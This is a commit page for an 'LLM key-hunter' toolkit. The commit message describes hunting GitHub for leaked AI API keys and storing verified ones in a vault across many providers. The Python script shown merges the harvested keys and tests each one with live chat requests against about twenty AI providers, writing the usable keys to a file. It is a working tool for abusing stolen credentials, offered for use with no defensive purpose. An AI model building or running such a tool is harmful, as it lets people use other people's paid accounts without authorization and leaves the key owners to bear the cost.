Add LLM key-hunter toolkit, vault, and skill

- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*,
  pivot miner, two-layer verify/content caches, per-provider verification)
- usable_keys: verified key vault across 12 providers (deepseek, minimax,
  volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.)
- .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow
- NewAPI channel import scripts and CDP capture helpers
- Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
chaos committed 2026-08-02 06:02:58 +08:00
1 parent a3f698806b
commit 5d215e1649
684 files changed
+133838

No files matched your search

+314
View File
@@ -0,0 +1,314 @@
#!/usr/bin/env python3
"""Combine old + new live keys, filter false positives, and run deep verification.
Uses urllib instead of spawning curl subprocesses per key.
"""
import time
import json
import urllib.request
import urllib.error
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
from collections import defaultdict
RESULTS_DIR = Path(__file__).parent / "results"
OLD_LIVE = RESULTS_DIR / "live_keys_raw.txt.bak"
NEW_LIVE = RESULTS_DIR / "live_keys_raw.txt"
COMBINED_LIVE = RESULTS_DIR / "live_keys_combined.txt"
DEEP_USABLE = RESULTS_DIR / "deep_verify" / "usable.txt"
DEEP_NOBAL = RESULTS_DIR / "deep_verify" / "valid_no_balance.txt"
DEEP_NOACC = RESULTS_DIR / "deep_verify" / "valid_no_access.txt"
DEEP_DEAD = RESULTS_DIR / "deep_verify" / "dead.txt"
# ── Deep verify configs ──────────────────────────────────────
DEEP_CONFIGS = {
"OpenAI": {
"url": "https://api.openai.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Anthropic": {
"url": "https://api.anthropic.com/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-3-5-haiku-20241022","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Google": {
"url": "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash:generateContent?key={key}",
"headers": {"Content-Type": "application/json"},
"body": '{"contents":[{"parts":[{"text":"hi"}]}],"generationConfig":{"maxOutputTokens":1}}',
},
"Groq": {
"url": "https://api.groq.com/openai/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"llama-3.1-8b-instant","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"DeepSeek": {
"url": "https://api.deepseek.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"deepseek-chat","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"OpenRouter": {
"url": "https://openrouter.ai/api/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"meta-llama/llama-3.1-8b-instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Replicate": {
"url": "https://api.replicate.com/v1/account",
"headers": {"Authorization": "Token {key}"},
"body": None,
},
"Perplexity": {
"url": "https://api.perplexity.ai/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"llama-3.1-8b-online","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"DashScope": {
"url": "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"qwen-plus","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Moonshot": {
"url": "https://api.moonshot.cn/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"moonshot-v1-8k","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"VolcanoArk": {
"url": "https://ark.cn-beijing.volces.com/api/v3/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
"fallback": {
"url": "https://ark.cn-beijing.volces.com/api/coding/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
},
"ZhipuAI": {
"url": "https://open.bigmodel.cn/api/paas/v4/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"TogetherAI": {
"url": "https://api.together.xyz/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"meta-llama/Llama-3.2-3B-Instruct-Turbo","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"LingyiWanwu": {
"url": "https://api.lingyiwanwu.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"yi-large","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"StepFun": {
"url": "https://api.stepfun.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"step-1-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"SiliconFlow": {
"url": "https://api.siliconflow.cn/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"Qwen/Qwen2.5-7B-Instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"HuggingFace": {
"url": "https://huggingface.co/api/whoami-v2",
"headers": {"Authorization": "Bearer {key}"},
"body": None,
},
"OllamaCloud": {
"url": "https://api.ollama.com/api/chat",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"gemma4:31b","messages":[{"role":"user","content":"hi"}],"stream":false}',
},
"LongCat": {
"url": "https://api.longcat.chat/openai/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"MiniMax": {
"url": "https://api.minimaxi.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"FreeModel": {
"url": "https://cc.freemodel.dev/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
"fallback": {
"url": "https://api.freemodel.dev/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
},
"XKiro": {
"url": "https://api.xkiro.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"anthropic/claude-sonnet-4-5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
}
def _http_request(url, headers, body):
"""Send an HTTP request and return (status_code, response_body)."""
data = body.encode() if body else None
req = urllib.request.Request(url, data=data, headers=headers, method="POST" if body else "GET")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return 0, ""
def deep_verify(provider, key):
"""Send actual chat completion, return USABLE/NO_BALANCE/NO_ACCESS/DEAD."""
if provider not in DEEP_CONFIGS:
return "SKIP"
cfg = DEEP_CONFIGS[provider]
url = cfg["url"].replace("{key}", key)
headers = {hname: hval.replace("{key}", key) for hname, hval in cfg["headers"].items()}
code, body = _http_request(url, headers, cfg.get("body"))
# Check for fallback (VolcanoArk coding plan, FreeModel)
if code != 200 and "fallback" in cfg:
fcfg = cfg["fallback"]
furl = fcfg["url"].replace("{key}", key)
fheaders = {hname: hval.replace("{key}", key) for hname, hval in fcfg["headers"].items()}
code, body = _http_request(furl, fheaders, fcfg.get("body"))
if code == 200:
bl = body.lower()
if "error" in bl and ("balance" in bl or "quota" in bl or "arrearage" in bl):
return "NO_BALANCE"
return "USABLE"
elif code in ("402", "429"):
return "NO_BALANCE"
elif code == 404:
if "invalid" in body.lower() or "unauthorized" in body.lower():
return "DEAD"
return "NO_ACCESS"
elif code in (401, 403):
return "DEAD"
elif code == 400:
bl = body.lower()
if any(x in bl for x in ["arrearage", "insufficient", "balance", "overdue", "payment"]):
return "NO_BALANCE"
elif any(x in bl for x in ["suspended", "limit", "quota", "rate"]):
return "NO_BALANCE"
else:
return "NO_ACCESS"
else:
return "UNKNOWN" if code else "DEAD"
def main():
# ── Combine old + new live keys ──────────────────────────
all_keys = {} # (provider, key) -> (url, desc)
for filepath in [OLD_LIVE, NEW_LIVE]:
if not filepath.exists():
continue
with open(filepath) as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("|")
if parts[0] == "LIVE" and len(parts) >= 4:
provider, key, url = parts[1], parts[2], parts[3]
desc = parts[4] if len(parts) > 4 else ""
elif len(parts) >= 3:
provider, key, url = parts[0], parts[1], parts[2]
desc = parts[3] if len(parts) > 3 else ""
else:
continue
if not provider or not key:
continue
# Filter out obvious fake/mock keys
if any(x in key.lower() for x in ["mock", "xxxx", "your-", "example", "test-key", "placeholder"]):
continue
# Filter OpenRouter (all dead, public models endpoint)
if provider == "OpenRouter":
continue
k = (provider, key)
if k not in all_keys:
all_keys[k] = (url, desc)
print(f"Combined live keys: {len(all_keys)} (filtered fakes + OpenRouter)")
# Write combined
with open(COMBINED_LIVE, "w") as f:
for (provider, key), (url, desc) in sorted(all_keys.items()):
f.write(f"LIVE|{provider}|{key}|{url}|{desc}\n")
# Summary by provider
by_provider = defaultdict(int)
for (provider, key) in all_keys:
by_provider[provider] += 1
print("\nBy provider:")
for p in sorted(by_provider):
print(f" {p:20s}: {by_provider[p]}")
# ── Deep verify ──────────────────────────────────────────
to_verify = [(p, k, u, d) for (p, k), (u, d) in all_keys.items() if p in DEEP_CONFIGS]
print(f"\nDeep verifying {len(to_verify)} keys...")
results = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "DEAD": [], "SKIP": [], "UNKNOWN": []}
processed = 0
start = time.time()
with ThreadPoolExecutor(max_workers=20) as pool:
futures = {pool.submit(deep_verify, p, k): (p, k, u, d) for p, k, u, d in to_verify}
for future in as_completed(futures):
p, k, u, d = futures[future]
processed += 1
try:
result = future.result()
except Exception:
result = "DEAD"
results[result].append((p, k, u, d))
if processed % 50 == 0:
elapsed = time.time() - start
print(f" [{processed}/{len(to_verify)}] usable={len(results['USABLE'])} "
f"nobal={len(results['NO_BALANCE'])} dead={len(results['DEAD'])} "
f"({processed/elapsed:.0f}/s)")
elapsed = time.time() - start
print(f"\nDone in {elapsed:.1f}s")
print(f" USABLE: {len(results['USABLE'])}")
print(f" NO_BALANCE: {len(results['NO_BALANCE'])}")
print(f" NO_ACCESS: {len(results['NO_ACCESS'])}")
print(f" DEAD: {len(results['DEAD'])}")
print(f" SKIP: {len(results['SKIP'])}")
print(f" UNKNOWN: {len(results['UNKNOWN'])}")
# Write results
for category, filepath in [
("USABLE", DEEP_USABLE),
("NO_BALANCE", DEEP_NOBAL),
("NO_ACCESS", DEEP_NOACC),
("DEAD", DEEP_DEAD),
]:
with open(filepath, "w") as f:
for p, k, u, d in sorted(results[category]):
f.write(f"{p}|{k}|{u}|{d}\n")
# Print usable keys by provider
print("\n=== USABLE keys by provider ===")
usable_by_provider = defaultdict(int)
for p, k, u, d in results["USABLE"]:
usable_by_provider[p] += 1
for p in sorted(usable_by_provider):
print(f" {p:20s}: {usable_by_provider[p]}")
print(f"\nUsable keys written to: {DEEP_USABLE}")
if __name__ == "__main__":
main()